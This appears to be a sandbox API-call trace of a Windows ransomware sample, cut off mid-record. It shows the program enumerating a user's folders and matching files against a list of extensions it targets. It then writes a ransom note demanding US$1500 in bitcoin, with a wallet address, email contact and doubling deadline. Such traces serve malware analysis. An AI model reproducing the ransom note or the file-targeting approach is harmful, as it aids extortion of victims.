0 [0088.071] lstrlenA (lpString="*.djvu") returned 6 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.tiff") returned 0 [0088.071] lstrlenA (lpString="*.tiff") returned 6 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.backup") returned 0 [0088.071] lstrlenA (lpString="*.backup") returned 8 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.pdf") returned 0 [0088.071] lstrlenA (lpString="*.pdf") returned 5 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.cert") returned 0 [0088.071] lstrlenA (lpString="*.cert") returned 6 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.docm") returned 0 [0088.071] lstrlenA (lpString="*.docm") returned 6 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.xlsm") returned 0 [0088.071] lstrlenA (lpString="*.xlsm") returned 6 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.dwg") returned 0 [0088.071] lstrlenA (lpString="*.dwg") returned 5 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.nd") returned 0 [0088.071] lstrlenA (lpString="*.nd") returned 4 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.tlg") returned 0 [0088.071] lstrlenA (lpString="*.tlg") returned 5 [0088.071] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.lgb") returned 0 [0088.071] lstrlenA (lpString="*.lgb") returned 5 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.mov") returned 0 [0088.072] lstrlenA (lpString="*.mov") returned 5 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.xdw") returned 0 [0088.072] lstrlenA (lpString="*.xdw") returned 5 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.ods") returned 0 [0088.072] lstrlenA (lpString="*.ods") returned 5 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.wav") returned 0 [0088.072] lstrlenA (lpString="*.wav") returned 5 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.mp3") returned 0 [0088.072] lstrlenA (lpString="*.mp3") returned 5 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.aiff") returned 0 [0088.072] lstrlenA (lpString="*.aiff") returned 6 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.flac") returned 0 [0088.072] lstrlenA (lpString="*.flac") returned 6 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.m4a") returned 0 [0088.072] lstrlenA (lpString="*.m4a") returned 5 [0088.072] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT", pszSpec="*.csv") returned 0 [0088.072] lstrlenA (lpString="*.csv") returned 5 [0088.072] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e064c0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0xfee79d60, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x5f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 0 [0088.073] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.073] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0088.073] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.073] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0088.073] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.073] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x53004d, dwReserved1=0x500020, cFileName="Network", cAlternateFileName="")) returned 1 [0088.073] lstrcmpA (lpString1=".", lpString2="Network") returned -1 [0088.073] lstrcmpA (lpString1="..", lpString2="Network") returned -1 [0088.073] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.073] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network" [0088.073] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network") returned 63 [0088.073] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x340031, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.074] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.074] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.074] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.074] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.074] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0088.075] lstrcmpA (lpString1=".", lpString2="Connections") returned -1 [0088.075] lstrcmpA (lpString1="..", lpString2="Connections") returned -1 [0088.075] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*.*") returned="*.*" [0088.075] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0088.075] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned 75 [0088.075] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.075] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.075] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.075] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.075] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.075] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1 [0088.076] lstrcmpA (lpString1=".", lpString2="Pbk") returned -1 [0088.076] lstrcmpA (lpString1="..", lpString2="Pbk") returned -1 [0088.076] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*.*") returned="*.*" [0088.076] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="Pbk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0088.076] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned 79 [0088.076] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.076] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.076] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.077] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.077] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.077] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0088.077] lstrcmpA (lpString1=".", lpString2="_hiddenPbk") returned -1 [0088.077] lstrcmpA (lpString1="..", lpString2="_hiddenPbk") returned -1 [0088.077] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*.*") returned="*.*" [0088.077] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="_hiddenPbk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0088.077] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned 90 [0088.077] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0088.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.077] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.078] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.078] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.078] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0088.078] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0088.078] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rasphone.pbk") returned -1 [0088.078] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rasphone.pbk") returned -1 [0088.078] lstrcmpiA (lpString1="", lpString2="rasphone.pbk") returned -1 [0088.078] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*.*") returned="*.*" [0088.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0088.078] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="" [0088.078] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\HOW TO DECRYPT FILES.txt" [0088.078] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\how to decrypt files.txt")) returned 0xffffffff [0088.078] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0088.079] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0088.079] WriteFile (in: hFile=0xa0, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0088.081] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.081] CloseHandle (hObject=0xa0) returned 1 [0088.081] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="rasphone.pbk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" [0088.081] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.ems") returned 0 [0088.081] lstrlenA (lpString="*.ems") returned 5 [0088.081] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.db") returned 0 [0088.082] lstrlenA (lpString="*.db") returned 4 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.dbf") returned 0 [0088.082] lstrlenA (lpString="*.dbf") returned 5 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.myox") returned 0 [0088.082] lstrlenA (lpString="*.myox") returned 6 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.myo") returned 0 [0088.082] lstrlenA (lpString="*.myo") returned 5 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qbw") returned 0 [0088.082] lstrlenA (lpString="*.qbw") returned 5 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qbb") returned 0 [0088.082] lstrlenA (lpString="*.qbb") returned 5 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qbm") returned 0 [0088.082] lstrlenA (lpString="*.qbm") returned 5 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qbo") returned 0 [0088.082] lstrlenA (lpString="*.qbo") returned 5 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qbx") returned 0 [0088.082] lstrlenA (lpString="*.qbx") returned 5 [0088.082] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qba") returned 0 [0088.082] lstrlenA (lpString="*.qba") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qby") returned 0 [0088.083] lstrlenA (lpString="*.qby") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qbj") returned 0 [0088.083] lstrlenA (lpString="*.qbj") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.ofx") returned 0 [0088.083] lstrlenA (lpString="*.ofx") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.qif") returned 0 [0088.083] lstrlenA (lpString="*.qif") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", pszSpec="*.mye") returned 0 [0088.083] lstrlenA (lpString="*.mye") returned 5 [0088.083] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 